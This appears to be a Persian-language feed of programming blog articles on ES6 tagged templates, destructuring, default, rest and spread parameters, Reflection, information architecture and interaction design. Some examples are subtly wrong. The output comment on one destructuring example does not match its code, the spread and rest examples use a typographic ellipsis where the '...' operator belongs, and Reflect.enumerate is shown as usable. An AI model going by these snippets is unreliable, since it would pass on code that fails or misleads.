          // "string text line 1
          // string text line 2"

          محدودیت‌های template strings
          • به صورت خودکار کارکترهای خاص را برای شما escape نمی‌کند (جهت جلوگیری از آسیب‌پذیری‌های XSS).
          • به صورت کامل از کتابخانه‌هایی جهت اعمال internationalization پشتیبانی نمی‌کند.
          • جایگزینی برای کتابخانه‌هایی مانند  Mustache و  Nunjucks نیست.
          ES 6قابلیت دیگری تحت عنوان tagged templates جهت رفع محدودیت‌های فوق در اختیارمان قرار می‌دهد. سینتکس آن نیز خیلی ساده است. کافی است قبل از کارکتر back-tick یک tag نوشته شود. قبل از توضیح این قابلیت مثال زیر را در نظر بگیرید:
          var x = 1;
          var y = 3;
          var result = upper `${x} + ${y} is ${x+y}`;
          
          console.log(result);
          
          // Output
          // 1 + 3 IS 4
          همانطور که مشاهده می‌کنید متغیرهای x و y و همچنین مجموع آنها را درون رشته‌ی فوق قرار داده‌ایم. اما نکته‌ایی که در اینجا وجود دارد این است که مقدار خروجی دقیقاً معادل template نیست؛ زیرا در خروجی، is به صورت حروف بزرگ نمایش داده شده است. دلیل آن نیز این است که قبل از شروع کاراکتر back-tick، از یک تگ با نام upper استفاده کرده‌ایم. در واقع یک تگ چیزی بیشتر از یک تابع نیست که در ادامه پیاده‌سازی آن را مشاهده خواهید کرد:
          let upper = function(strings, ...values){
            let result = "";
            for(var i = 0; i < strings.length; i++){
              result += strings[i];
              if(i < values.length){
                result += values[i];
              }
            }
            return result.toUpperCase();
          };
          تابع فوق دو پارامتر را از ورودی دریافت خواهد کرد: به اولین پارامتر parsed template string گفته می‌شود و مقدار آن متن parse شده درون کاراکتر‌های back-tick است. به پارامتر دوم نیز rest parameter گفته می‌شود که در واقع یک آرایه از مقادیر placeholder هایمان است. در نتیجه مقادیر این دو پارامتر به صورت زیر خواهد بود:
          strings = ["", " + ", " is ", ""];
          values  = [1, 3, 4];
          درون تابع با مقادیر فوق می‌توانیم کارهای مختلفی را انجام دهیم. به عنوان مثال در اینجا ایجاد همان رشته؛ اما اینبار به صورت upper case.
          در نتیجه با استفاده از این قابلیت می‌توانیم تگ‌های سفارشی زیادی را ایجاد کنیم. به عنوان مثال می‌توانیم تگی را ایجاد کنیم که تمپلیتی را دریافت کرده و آن را به HTML encoded تبدیل کند و در این‌حالت به ما در جلوگیری از حملات XSS و همچنین رفع محدویت‌هایی که در template strings داشتیم کمک خواهد کرد.

          یک مثال عملی
          می‌خواهیم یک tag template ایجاد کنیم که به انتهای اعداد درون یک تملپت، مقدار "تومان" را اضافه کرده و خود عدد را نیز به صورت سه رقم سه رقم جدا کند. می‌خواهیم رشته‌ی زیر همراه با مقادیر آن:
          var name = "سیروان عفیفی";
          var price = 150000;
          var text = withToman `${name} با تشکر از خرید شما, مبلغ قابل پرداخت: ${price}`;
          alert(text);
          در خروجی اینچنین نمایش داده شود:

          کدهای تگ withToman نیز به اینصورت میباشد:
          function withToman(strings, ...values) {
            return strings.reduce( function (s, v, idx) {
              if(idx > 0) {
                if(typeof values[idx - 1] == "number") {
                  s += `${values[idx - 1].toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",")} تومان`
                }
                else {
                  s += values[idx -1];
                }
              }
              return s + v;
            }, "");
          }
          همچنین در حالت پیشرفته‌تری می‌توان از این قابلیت جهت ایجاد یک DSL یا (Domain Specific Languages) ایده گرفت.

          ‫معماری اطلاعات (Information Architecture)

          $
          0
          0

          معماری اطلاعات یاInformation Architectureو یا به اختصار IAدر یک تیم توسعه نرم‌افزار، یک وظیفه پایه و اساسی است که معمولا بین طراحان، توسعه دهندگان و یا طراحان استراتژی محتوا تقسیم می‌گردد. اما صرف نظر از اینکه چه کسی در یک تیم آن را بر عهده می‌گیرد، IAتخصص خاص خود را نیازمند است که این تخصص که شامل ابزارها و شاخص‌ها و منابعی است که باید به درستی تحقیق و گردآوری گردند. در این مقاله قصد داریم تا به این امر بپردازیم که واقعا IA چیست؟ و چرا یک جنبه‌ی مهم و ارزشمند در طراحی فرآیندهای user experienceبه شمار می‌رود؟


          Information Architecture چیست؟

          بیان کردن یک تعریف دقیق برای IAکمی پیچیده‌تر از تعاریف دیگری همچون content strategyو یا interaction designبه نظر می‌رسد. بر خلاف content strategyکه به وسیله طراحان استراتژی محتوا و یا interaction designکه توسط طراحان UI/UXانجام می‌گیرد، IAبه ندرت در زمره‌ی یک کار جداگانه قرار می‌گیرد. اما با این وجود، این کار در مهندسی نرم افزار بسیار با ارزش و لازم محسوب می‌گردد. (منبع)

          بر اساس تعریف ویکی‌پدیا، IAاینگونه تعریف می‌گردد: "معماری اطلاعات عبارت است از طراحی ساختاری سامانه‌های اشتراک اطلاعات، که با هدف یافت پذیری و کاربرد پذیری انجام می‌شود."

          در فرهنگ معماری اطلاعات، مفهوم یافت‌پذیری یا Findabilityبه زبان ساده، شاخصی است که قابلیت یافت شدن و مکان‌یابی یک مجموعه اطلاعات را محک می‌زند. به عنوان مثال سامانه‌های اطلاع‌رسانی مانند وب سایت‌ها باید به گونه‌ای طراحی شوند که مردم در هر سطحی، به سادگی بتوانند اطلاعات مورد نظر خود را پیدا کنند.

          مفهوم کاربرد‌پذیری یا Usability، شاخصه‌ای است که میزان سهولت کاربری یک ابزار را نشان می‌دهد. این تعریف را می‌توان به این صورت کامل نمود: "میزانی که یک محصول می‌تواند توسط کاربران خاصی برای رسیدن به هدفی مشخص مورد استفاده قرار گیرد و در حین استفاده، ضمن داشتن اثربخشی و کارآیی، رضایت کاربر را در زمینه مورد استفاده تامین کند." به عنوان مثال هنگامیکه شما قصد خرید اینترنتی را داشته باشید، در درجه اول مفهوم یافت‌پذیری برای شما پررنگ خواهد شد و پس از آن با انجام خرید حس کاربردپذیری فروشگاه خواهد بود که برای دفعات بعدی شما را به آن وب‌سایت هدایت خواهد کرد.

          بنا بر آنچه که گفته شد، مفهوم یافت‌پذیری مقدم بر کاربرد‌پذیری است. یعنی اگر کاربر نتواند آنچه را که به دنبال آن است بیابد، هرگز فرصت استفاده از آنرا نخواهد داشت. به علاوه اگر یافت‌پذیری محقق شود، کاربرد‌پذیری هم بهبود خواهد یافت، چرا که مردم می‌توانند به سرعت و سهولت به آنچه که نیاز دارند دست یابند. ذکر این نکته نیز حائز اهمیت است که موتور‌های جست و جو، تنها وظیفه‌ی هدایت کاربران را به وب‌سایت هدف خواهند داشت. اما وظیفه یافت پذیری، با بازدید کاربران از وب‌سایت آغاز می‌گردد. به نوعی می‌توان گفت که یافت‌پذیری می‌کوشد به مردم این امکان را بدهد تا در هنگام گذار در وب‌سایت، به اطلاعاتی که نیاز دارند دست یابند.

          معماری اطلاعات یکی از مهم‌ترین مراحل توسعه‌ی نرم‌افزار، به خصوص توسعه‌ی نرم‌افزار‌های تحت وب به شمار می‌رود. در حقیقت با انجام معماری اطلاعات دقیق، می‌توان مواردی از قبیل رسیدن به اهداف تعیین شده، کم کردن هزینه‌ی نگه‌داری و به روز رسانی، افزایش کارآیی و در نهایت کم شدن ریسک‌ها را مدیریت نمود.

          بر اساس آنچه که در وب‌سایت UXmattersو webmonkeyگفته شده است، IAدر شش مرحله صورت می‌گیرد:

          1.ارزیابی هدف کسب و کار (Assess business intent)

          2.ارزیابی هدف کاربران (Assess user intent)

          3.ارزیابی محتوا (Assess content)

          4.مدیریت محتوا (Organize content)

          5.برقرارسازی ارتباط میان اطلاعات (Enable information relationships)

          6.فراهم‌سازی فرآیند هدایت محتوا (Provide navigation)

          تصویر زیر که برگرفته از وب‌سایت SitePointمی‌باشد برخی از مراحل فوق را به صورت مختصر و ساده نمایش داده است.

          اگر به وب‌سایت رسمی انجمن معماری اطلاعاتسری بزنید مطالب مفیدی در زمینه‌ی پیاده سازی IAبه دست خواهید آورد.

          تصویر زیر ارتباط تنگاتنگ سه مبحث Information Design، Interaction Designو Sensorial Designرا نمایش می‌دهد. همانطور که می‌بینید، محتوا در مرکزیت هر سه موضوع قرار دارد. بنابراین می‌توان اینگونه استنباط کرد که محتوا اصلی‌ترین بخش یک کسب‌وکار نرم‌افزاری را تشکیل می‌دهد. اما در بخش پیشین دیدیم که محتوا به تنهایی نمی‌تواند راهگشای نتیجه‌ی عالی از یک نرم‌افزار باشد. با توجه به دو مفهوم یافت‌پذیری و کاربرد‌پذیری دیدیم برای آنکه بتوانیم در تولید نرم‌افزار بهترین باشیم، بایستی در قدم اول مفهوم یافت‌پذیری را رعایت نماییم. به زبان ساده باید هر چیزی را در جای مورد نظر خود قرار دهیم تا کاربر در مدت زمان خیلی کمی بتواند به آن دسترسی داشته باشد.

          همانطور که در تصویر فوق ملاحظه میکنید دو اصطلاح شاید نا آشنای دیگر نیز آورده شده است، Interaction Design و Sensorial Design. در مقاله‌ای دیگر به آنها خواهیم پرداخت.

          ‫پارامترها در ES 6

          $
          0
          0
          Destructuring assignment این امکان را به ES 6اضافه کرده‌است تا بتوان خواص یک شیء یا اعضای یک آرایه را با سهولت بیشتری به متغیرها نسبت داد و نگارش آن بسیار شبیه است به تعریف اشیاء یا آرایه‌ها در جاوا اسکریپت.

          Destructuring Arrays

          بدون استفاده از Destructuring assignment برای دسترسی به اعضای یک آرایه و انتساب آن‌ها به متغیرهای مختلف، روش متداول زیر مرسوم است:
          var first = someArray[0];
          var second = someArray[1];
          var third = someArray[2];
          اما با استفاده از Destructuring assignment این سه سطر، تبدیل به یک سطر می‌شوند:
           var [first, second, third] = someArray;
          همانطور که ملاحظه می‌کنید، سمت چپ این انتساب، بسیار شبیه است به تعریف یک آرایه، اما در اینجا مفهوم Destructuring assignment را دارد و سه متغیر جدید را تعریف می‌کند.

          یک مثال:
           let [one, two, three] = ['globin', 'ghoul', 'ghost', 'white walker'];
          console.log(`one is ${one}, two is ${two}, three is ${three}`)
          // => one is globin, two is ghoul, three is ghost
          در اینجا ترکیبی از Destructuring assignment و بهبودهای کار با رشته‌ها را در ES 6، ملاحظه می‌کنید. سمت چپ انتساب، سه متغیر جدید را تعریف کرده‌است که این سه متغیر با سه عضو اول آرایه مقدار دهی می‌شوند.

          همچنین در این مثال اگر علاقمند بودیم صرفا به اعضای اول و چهارم این آرایه دسترسی پیدا کنیم، می‌توان نوشت:
           let [firstMonster, , , fourthMonster] =  ['globin', 'ghoul', 'ghost', 'white walker'];
          console.log(`the first monster is ${firstMonster}, the fourth is ${fourthMonster}`)
          // => one is globin, two is ghoul, three is ghost
          تعریف یک کامای خالی، سبب پرش به عضو بعدی خواهد شد و به معنای صرفنظر کردن از ایندکس مطرح شده‌است. برای مثال در اینجا از ایندکس‌های 2 و 3 صرفنظر شده‌است.

          امکان دسترسی به اعضای تو در تو نیز با Destructuring assignment پیش بینی شده‌است:
           let nested = [1, [2, 3], 4];
          let [a, [b], d] = nested;
          console.log(a); // 1
          console.log(b); // 2
          console.log(d); // 4
          در مثال فوق، دومین عضو آرایه، خود نیز یک آرایه‌است. برای دسترسی به این آرایه‌ی دوم، دومین عضو Destructuring assignment نیز باید یک Destructuring assignment جدید باشد.

          می‌توان از Destructuring assignment جهت جابجایی مقادیر متغیرها بدون انتساب به یک متغیر موقتی نیز استفاده کرد:
           let point = [1, 2];
          let [xVal, yVal] = point;
          [xVal, yVal] = [yVal, xVal];
          console.log(xVal); // 2
          console.log(yVal); // 1
          در این مثال ابتدا یک آرایه با دو عضو تعریف شده‌است. سپس اعضای این آرایه به دو متغیر جدید xVal و yVal انتساب یافته‌اند. در ادامه در سطر سوم، مقادیر این دو متغیر با هم تعویض شده‌اند.


          Destructuring Objects

          امکانات Destructuring assignment، به کار با آرایه‌ها محدود نمی‌شود و از آن می‌توان برای کار با اشیاء نیز استفاده کرد. فرض کنید شیء pouch به صورت زیر تعریف شده‌است:
           let pouch = {coins: 10};
          روش متداول دسترسی به خاصیت coins، به صورت pouch.coins است:
           let coins = pouch.coins;
          اما با استفاده از Destructuring assignment می‌توان نوشت (در حالت کار با اشیاء، بجای [] از {} استفاده می‌شود):
           let {coins} = pouch;
          در این مثال، خاصیت coins شیء pouch به متغیر جدید coins انتساب داده شده‌است. نکته‌ای که در اینجا باید به آن دقت داشت، همنامی متغیر جدید coins با خاصیت coins است. اگر بخواهیم این خاصیت را به یک متغیر غیرهمنام انتساب دهیم، باید به صورت زیر عمل کرد:
           let pouch = {coins: 10};
          let {coins: newVar1 } = pouch;
          console.log(newVar1); //10
          در مثال فوق، مقدار خاصیت coins به متغیر جدیدی با نام newVar1 انتساب داده شده‌است.

          در اینجا نیز امکان کار با اشیای تو در تو، پیش بینی شده‌است:
          let point = {
              x: 1,
              y: 2,
              z: {
                   one: 3,
                   two: 4
              }
          };
          let { x: a, y: b, z: { one: c, two: d } } = point;
          console.log(a); // 1
          console.log(b); // 2
          console.log(c); // 3
          console.log(d); // 4
          در این مثال، خاصیت z شیء point نیز خود یک شیء دیگر است. برای دسترسی به آن همانند کار با آرایه‌ها نیاز است از یک {} دیگر برای استخراج خواص one و two استفاده کرد.
          در انتساب فوق، خاصیت x شیء point به متغیر جدید a، خاصیت y شیء point به متغیر جدید b و خاصیت one شیء منتسب به خاصیت z، به متغیر c و خاصیت two شیء منتسب به خاصیت z، به متغیر d انتساب یافته‌اند.


          ترکیب Destructuring Objects و Destructuring Arrays

          در مثال زیر، نمونه‌ای ترکیبی از Destructuring اشیاء و آرایه‌ها را با هم مشاهده می‌کنید:
          let mixed = {
              one: 1,
              two: 2,
              values: [3, 4, 5]
          };
          let { one: a, two: b, values: [c, , e] } = mixed;
          console.log(a); // 1
          console.log(b); // 2
          console.log(c); // 3
          console.log(e); // 5
          در این مثال، خاصیت one شیء mixed به متغیر جدید a، خاصیت two آن به متغیر جدید b و اعضای اول و سوم آرایه‌ی values به متغیرهای جدید c و e انتساب داده شده‌اند. از ایندکس دوم آرایه‌ی values نیز با معرفی یک کاما، صرفنظر گردیده‌است.


          Destructuring Function Arguments

          از Destructuring در حین تعریف پارامترهای متدها نیز می‌توان استفاده کرد.
           function removeBreakpoint({ url, line, column }) {
            // ...
          }
          در این مثال، متد removeBreakpoint دارای سه پارامتر ورودی تعریف شده‌ی توسط Destructuring است. در این حالت این پارامترها به صورت خودکار از شیء ارسالی به این متد دریافت و مقدار دهی خواهند شد.

          و یا برای مثال در زبان #C امکان تعریف named arguments (آرگومان‌های نامدار) و همچنین تعریف مقادیر پیش فرضی برای آن‌ها وجود دارد. در اینجا نیز می‌توان با استفاده از Destructuring به تعریفی مشابه آن برای ارائه‌ی آرگومان‌هایی با مقادیر پیش فرض رسید:
           function random ({ min=1, max=300 }) {
              return Math.floor(Math.random() * (max - min)) + min
          }
          console.log(random({}))
          // <- 174
          console.log(random({max: 24}))
          // <- 18
          در این مثال پارامترهای min و max تعریف شده‌ی با Destructuring، دارای یک مقدار پیش فرض هستند. اگر شیءایی خالی را به این متد ارسال کنیم، از مقادیر پیش فرض استفاده خواهد شد و یا اگر max را مقدار دهی کنیم، مقدار min، از مقدار پیش فرض آن دریافت می‌گردد.
          و یا اینبار jQuery Ajax را می‌توان با پارامترهای پیش فرض آن به صورت ذیل خلاصه نویسی کرد:
           jQuery.ajax = function (url, {
            async = true,
            beforeSend = noop,
            cache = true,
            complete = noop,
            crossDomain = false,
            global = true,
            // ... more config
          }) {
              // ... do stuff
          };
          همچنین اینبار امکان شبیه سازی دریافت چندین خروجی از متد، به نحو ساده‌تر و واضح‌تری میسر است:
           function returnMultipleValues() {
               return [1, 2];
          }
          var [foo, bar] = returnMultipleValues();
          در ابتدا، متدی تعریف شده‌است که یک آرایه‌ی معمولی را بازگشت می‌دهد. اما با استفاده از Destructuring می‌توان چندین خروجی با معنا را در طی یک سطر، از آن دریافت کرد.
          شبیه به همین مورد در حین کار با اشیاء نیز میسر است:
          function returnMultipleValues() {
            return {
                      foo: 1,
                      bar: 2
               };
          }
          var { foo, bar } = returnMultipleValues();
          متدی که یک شیء را بر می‌گرداند و با استفاده از Destructuring، خروجی آن به دو متغیر جدید، انتساب داده شده‌اند.


          تعریف مقادیر پیش فرض در حین Destructuring

          در انتساب ذیل، چون شیء سمت راست، دارای خاصیت foo نیست، مقدار این پارامتر جدید undefined خواهد بود. برای رفع این مشکل می‌توان به آن مقدار پیش فرضی را نیز نسبت داد:
          var {foo=3} = { bar: 2 }
          console.log(foo)
          // <- 3
          چند مثال دیگر:
          اگر مقدار پیش فرض، ذکر شود و خاصیت متناظر با آن دارای مقدار باشد، از همان مقدار اصلی ذکر شده استفاده می‌شود:
          var {foo=3} = { foo: 2 }
          console.log(foo)
          // <- 2
          اما اگر این مقدار undefined باشد، به مقدار پیش فرض سوئیچ خواهد شد:
          var {foo=3} = { foo: undefined }
          console.log(foo)
          // <- 3
          این مورد در حین کار با آرایه‌ها نیز برقرار است:
          var [b=10] = [undefined]
          console.log(b)
          // <- 10
          
          var [c=10] = []
          console.log(c)
          // <- 10


          ES6 — default + rest + spread

          علاوه بر destructuring، سه قابلیت و بهبود دیگر نیز در زمینه‌ی کار با متغیرها و پارامترها به ES 6 اضافه شده‌اند:

          1) امکان تعریف مقادیر پیش فرض پارامترها
          function inc(number, increment) {
                  increment = increment || 1;
                  return number + increment;
          }
          console.log(inc(2, 2)); // 4
          console.log(inc(2)); // 3
          در جاوا اسکریپت، الزامی برای فراخوانی و ذکر تمام پارامترهای یک متد وجود ندارد. برای نمونه در مثال فوق می‌توان متد inc را با یک و یا دو پارامتر فراخوانی کرد. در حالتیکه پارامتری ذکر نشود، مقدار آن تعریف نشده خواهد بود و روش برخورد با آن استفاده از عملگر || برای تعریف مقداری پیش فرض است. برای بهبود این وضعیت در ES 6، امکان تعریف مقدار پیش فرض پارامترها نیز درنظر گرفته شده‌است:
          function inc(number, increment = 1) {
                  return number + increment;
          }
          console.log(inc(2, 2)); // 4
          console.log(inc(2)); // 3
          در ES 6 امکان تعریف پارامترهایی با مقادیر پیش فرض، پیش از پارامترهایی که دارای مقادیر پیش فرض نیستند نیز میسر است (برخلاف زبان سی‌شارپ که چنین اجازه‌ای را نمی‌دهد):
          function sum(a, b = 2, c) {
               return a + b + c;
          }
          console.log(sum(1, 5, 10)); // 16 -> b === 5
          console.log(sum(1, undefined, 10)); // 13 -> b as default
          همچنین در حین تعریف این مقدار پیش فرض، می‌توان از مقادیر غیر ثابت هم استفاده کرد (باز هم برخلاف سی‌شارپ). برای نمونه در مثال ذیل، خروجی یک متد، به عنوان مقدار پیش فرض پارامتری تعریف شده‌است:
           function getDefaultIncrement() {
              return 1;
          }
          function inc(number, increment = getDefaultIncrement()) {
              return number + increment;
          }
          console.log(inc(2, 2)); // 4
          console.log(inc(2)); // 3


          2) Spread

          متد جمع زیر را درنظر بگیرید:
          function sum(a, b, c) {
             return a + b + c;
          }
          روش متداول فراخوانی آن، ذکر تک تک آرگومان‌های آن به ترتیب است. اما با استفاده از عملگر spread اضافه شده به ES 6 که با سه نقطه بیان می‌شود، می‌توان نوشت:
           var args = [1, 2, 3];
          console.log(sum(…args)); // 6
          عملگر spread اجازه‌ی بسط و پخش شدن اعضای یک آرایه را به پارامترهای متناظر با آن‌ها می‌دهد. به علاوه امکان ترکیب این روش، با روش متداول ذکر صریح آرگومان‌ها نیز وجود دارد:
          var args = [1, 2];
          console.log(sum(…args, 3)); // 6
          در این مثال، آرایه‌ی مدنظر تنها دو عضو دارد و متد sum دارای سه پارامتر است. با استفاده از عملگر spread، دو پارامتر اول متد به صورت خودکار از آرایه واکشی شده و جایگزین می‌شوند. آرگومان سوم هم به صورت متداولی ذکر شده‌است.

          مثال‌هایی از ساده سازی اعمال متداول در ES 5 (جاوا اسکریپت فعلی) با کمک ES 6:
          الف) ترکیب spread و Destructuring
           a = list[0], rest = list.slice(1)
          معادل Destructuring ذیل است:
           [a, ...rest] = list

          ب) ساده سازی کار با concat
          بجای
           [1, 2].concat(more)
          می‌توان نوشت:
          [1, 2, ...more]

          ج) افزودن یک رنج به یک آرایه
          بجای
           list.push.apply(list, [3, 4])
          می‌توان نوشت:
           list.push(...[3, 4])


          3) Rest

          جاوا اسکریپت دارای شیءایی است به نام arguments که توسط آن می‌توان به لیست پارامترهای یک متد دسترسی یافت. برای نمونه مثال ذیل را درنظر بگیرید:
          function sum() {
               var numbers = Array.prototype.slice.call(arguments),
               result = 0;
               numbers.forEach(function (number) {
                    result += number;
              });
              return result;
          }
          در اینجا به ظاهر متد sum دارای پارامتری نیست. اما با استفاده از شیء arguments، می‌توان هر تعداد آرگومانی را برای آن متصور شد و فراخوانی‌ها ذیل کاملا مجاز هستند:
          console.log(sum(1)); // 1
          console.log(sum(1, 2, 3, 4, 5)); // 15
          اما مشکل اینجا است که به ظاهر متد sum، هیچ پارامتری را قبول نمی‌کند و هدف از تعریف آن واضح نیست. برای رفع این مشکل، در ES 6 عملگر rest معرفی شده‌است که بسیار شبیه به عملگر spread است:
          function sum(…numbers) {
                var result = 0;
                numbers.forEach(function (number) {
                    result += number;
                });
                return result;
          }
          console.log(sum(1)); // 1
          console.log(sum(1, 2, 3, 4, 5)); // 15
          در اینجا عملگر سه نقطه‌ای rest که به عنوان پارامتر متد معرفی شده‌است، بیانگر امکان دریافت لیستی از آرگومان‌ها، توسط متد sum است. به این ترتیب، تعریف این متد که تعداد آرگومان‌های متغیری را می‌پذیرد، وضوح بیشتری پیدا کرده‌است.
          در اینجا باید دقت داشت که پس از ذکر rest، دیگر نمی‌توان پارامتری را تعریف کرد:
           function sum(…numbers, last) { // causes a syntax error

          ‫طراحی تعاملی (Interaction Design)

          $
          0
          0

          تعریف Interaction Designدر زبان طراحی، تعامل انسان و کامپیوتر و توسعه نرم‌افزار اینگونه بیان می‌شود:

          «عمل طراحی تعاملی محصولات دیجیتالی، محیط‌ها، سیستم‌ها و سرویس‌ها. مانند سایر رشته‌های طراحی، Interaction Designدارای شاخه‌ها و توجهاتی است، اما به طور ساده می‌توان گفت که تمرکز اصلی این رشته برروی رفتارها است.»

          طراحی تعاملی یا Interaction Designکه به اختصار به آن IxDنیز گفته می‌شود، بر روی ایجاد واسط‌های کاربری جذاب با رفتار‌های خوب تمرکز دارد. فهم این نکته که کاربران و تکنولوژی چگونه با یکدیگر ارتباط دارند، در این شاخه بسیار مهم و ضروری است. با این درک، شما می‌توانید موارد زیر را پیش‌بینی نماید: اینکه چگونه یک فرد با سیستم تعامل دارد؟ چگونه مشکلات را با داشتن آن سیستم رفع می‌کند؟ و در نهایت با استفاده از این موارد راه‌های جدیدی برای توسعه سیستم، برای انجام کارها پیشنهاد دهید. در ادامه به بررسی Best Practiceهای Interaction Designخواهیم پرداخت.

          بهترین روش‌های طراحی تعاملی (Interaction Design)

          در هنگام طراحی و توسعه یک محصول نرم‌افزاری با المان‌های تعاملی، ویژگی‌ها و سوالات مطرح شده‌ی زیر را در نظر بگیرید:

          سوالات مهم در هنگام لحاظ کردن طراحی تعامل‌گرا


          کاربران به چه صورت‌هایی می‌توانند با واسط کاربری در ارتباط باشند

          - کاربر چه تعاملاتی را می‌تواند به طور مستقیم با ماوس، انگشت یا stylusبا واسط کاربری داشته باشد؟

          - چه دستوراتی را کاربر می‌تواند صادر کند و با آنها تعامل داشته باشد که به طور مستقیم جزء محصول نیست؟ به عنوان مثال Ctrl+Cکه درون مرورگرها فعال است و جزئی از خود محصول نیست.

          دادن اطلاعاتی به کاربران، در مورد رفتار‌های سیستم، پیش از انجام یک عمل

          -ظاهر المان‌های صفحه (رنگ، شکل، اندازه و ...) چه سرنخ‌هایی را در مورد عملکرد آنها به کاربر خواهد داد؟ این المان‌ها به کاربر می‌فهماند که چگونه باید از آنها استفاده کند.

          -شما چه اطلاعاتی را می‌توانید در المان‌ها بگنجانید که کاربر پیش از انجام یک عملیات از عملکرد آن المان مطلع شود؟ این مفاهیم می‌توانند با گنجاندن labelهای با معنا در دکمه‌ها، یا دستورالعمل‌های بسیار کوتاه برای تاییدیه‌های نهایی کامل شود.

          پیش‌بینی و کاهش خطاها

          -آیا پیام‌های خطا، راه روشنی را برای کاربر باز می‌کند تا بتواند مشکل کار خود را پیدا کند و منشا خطا را کشف نماید؟

          -آیا در برخی موارد فشار و اجبار (Constraint) برای تحمیل عملیاتی خاص به کاربر جهت جلوگیری از خطا وجود دارد؟ اصل Poka-Yokaمی‌گوید برای جلوگیری از سردرگمی کاربر و همچنین جلوگیری از خطاهای ممکن، در برخی موارد لازم است که کاربر را در محدوده‌ای خاص و در یک مسیر مشخص (مانند مراحل تکمیل یک فرم) نگه داریم. این ایجاد فشار هم به کاربر کمک می‌کند و هم به تیم توسعه.

          در نظر گرفتن فیدبک و زمان پاسخ سیستم

          -چگونه قرار است که به کاربر بازخورد بدهیم که پروسه‌ای در حال اجرا است؟ هنگامیکه کاربر درگیر انجام عملیاتی است، سیستم باید متعاقبا یک پاسخ را برای کاربر نمایش دهد و چه بهتر که کاربر را در حین انجام پروسه (اگر پروسه طولانی باشد، مثلا بیش از 30 ثانیه) از آنچه که در سمت سرور صورت می‌گیرد آگاه سازد. این فرآیند‌ها را می‌توان با یک progress barساده مدل کرد.

          -بین یک عمل و پاسخ آن چه مدت زمانی طول خواهد کشید؟ واکنش پاسخ را می‌توان در چهار سطح مشخص نمود: فوری یا immediate (کمتر از 0.1 ثانیه)، کند یا stammer (بین 0.1 تا 1 ثانیه)، وقفه یا interruption (بین 1 تا 10 ثانیه) و اختلال یا disruption (بیش از 10 ثانیه).

          نگاه استراتژیک درباره‌ی هر یک از عناصر درون صفحه

          -آیا عناصر واسط کاربری اندازه‌ی معقولی برای تعامل با کاربر دارند؟ عناصری مانند دکمه‌ها، باید به اندازه کافی بزرگ باشند تا کاربر بتواند بر روی آنها کلیک کند. اما یک طراح نباید این نگاه را تنها به یک مرورگر منتهی کند. عمده‌ی مشکل در دستگاه‌های قابل حمل، مثل موبایل‌ها و تبلت‌ها رخ می‌دهد.

          -آیا لبه‌ها و گوشه‌ها (فضاهای خالی) به خوبی برای گنجاندن عناصر تعاملی مانند منو‌ها استفاده شده‌اند؟ یک قانون مهم در این زمینه می‌گوید که لبه‌ها و گوشه‌ها و نواحی مرزی، نواحی خوبی برای قرارگیری عناصر هستند. زیرا این نواحی معمولا نواحی مرزی هستند و کاربر به راحتی می‌تواند بر روی آنها کلیک و یا آنها را لمس نماید.

          -آیا شما از استاندارد‌ها پیروی می‌کنید؟ بالاخره کاربران آنقدرها هم بی‌اطلاع نیستند. آنها کمی هم درباره‌ی اینکه یک رابط کاربری چگونه است و عناصر آنها چگونه رفتار می‌کنند، اطلاعات دارد. پس، از این رو نیازی به خلق و بدعت‌گذاری نیست. تنها کافی‌است اندکی از آنچه که در UXمتداول شده، بهتر باشید. اگر روش شما بتواند خلاقانه و در عین حال ساده باشد، شما نیز می‌توانید صاحب سبک شوید.

          ساده‌سازی برای افزایش سرعت یادگیری

          -آیا اطلاعات مورد نیاز کاربر درون نرم‌افزار به هفت (به علاوه منهای دو) تکه تقسیم شده‌اند؟ George Millerطی آزمایشاتی کشف کرد که افراد تنها قادرند پنج تا نه مورد را در حافظه‌ی کوتاه مدت خود قرار دهند.

          -آیا واسط User Endتا حد ممکن ساده شده است؟ قانون Teslerبیان میکند که شما باید سعی کنید که تمامی پیچیدگی‌ها را تا آنجا که ممکن است از واسط User Endحذف کنید.

          منابع:

          ‫Reflection در ES6

          $
          0
          0
          در زبان‌های برنامه‌نویسی مانند سی‌شارپ و یا جاوا می‌توانیم از Reflection جهت خواندن متادیتاها استفاده کنیم. به عنوان مثال امکان تعریف پراپرتی و یا متدها و حتی تایپ‌هایی در زمان اجرا را در اختیارمان قرار می‌دهد. اما از آنجائیکه جاوا اسکریپت یک زبان داینامیک است، این قابلیت کمتر مورد توجه قرار گرفته است. در جاوا اسکریپت حین کار با کلاس‌ها و اشیاء، ممکن است نیاز داشته باشید تا از اعضای یک کلاس کوئری بگیرید و یا اینکه یک سری پراپرتی و متدهایی را در زمان اجرا به اشیاء‌تان اضافه کنید و یا مواردی از این دست.
          تا قبل از ES 6 می‌توانستیم به این صورت به اعضای یک کلاس دسترسی داشته باشیم:
          var person = {
              name: 'Sirwan',
              family: 'Afifi',
              doWork: function () {
                  //....
              }
          };
          
          for (var prop in person) {
              console.log(prop); 
          }
          همانطور که مشاهده می‌کنید، توسط سینتکس for...in می‌توانیم به اعضای person دسترسی داشته باشیم. همچنین برای دسترسی به مقادیر هر کدام از اعضای آن می‌توانستیم از bracket syntax استفاده کنیم:
          for (var prop in person) {
              console.log(person[prop]); 
          }
          لازم به ذکر است می‌توانستیم از متدهایی همانند Array.isArray, Object.getOwnPropertyDescriptor و حتی Object.keys نیز جهت دسترسی به اعضای پنهان یک شیء استفاده کنیم. اکنون قابلیت توکاری با نام Reflect این امکان را به ES 6 اضافه کرده است تا تمام اعمال فوق را به راحتی انجام داد.

          Reflect
          همانطور که عنوان شد توسط API جدیدی با نام Reflect، می‌توانیم به سادگی اعمال مربوط به Reflection را انجام دهیم. به عنوان مثال برای دسترسی به اعضای شیء person با استفاده از این API می‌توانیم به این صورت عمل کنیم:
          var person = {
              name: 'Sirwan',
              family: 'Afifi',
              doWork: function () {
                  //....
              }
          };
          
          for (let prop of Reflect.enumerate(person)) {
              console.log(`the value for ${prop} is ${person[prop]}`); 
            
          }
          در کد فوق از متد enumerate استفاده شده است، این متد یک پارامتر target را از ورودی می‌پذیرد. در واقع target همان شیءایی است که می‌خواهید پراپرتی‌های آن را پیمایش کنید. همچنین مقدار بازگشتی این متد یک iterator می‌باشد. مفهوم iterator نیز خیلی ساده است. به زبان ساده، امکان پیمایش درون یک کالکشن را در اختیارمان قرار می‌دهد. نکته‌ی دیگری که در کد فوق وجود دارد، استفاده از سینتکس for..of است، این سینتکس شبیه به for...in عمل می‌کند، با این تفاوت که در اینجا به جای پیمایش درون یکسری keys، درون values پیمایش می‌کنیم. در نتیجه برای پیمایش iterators باید از این سینتکس استفاده شود.

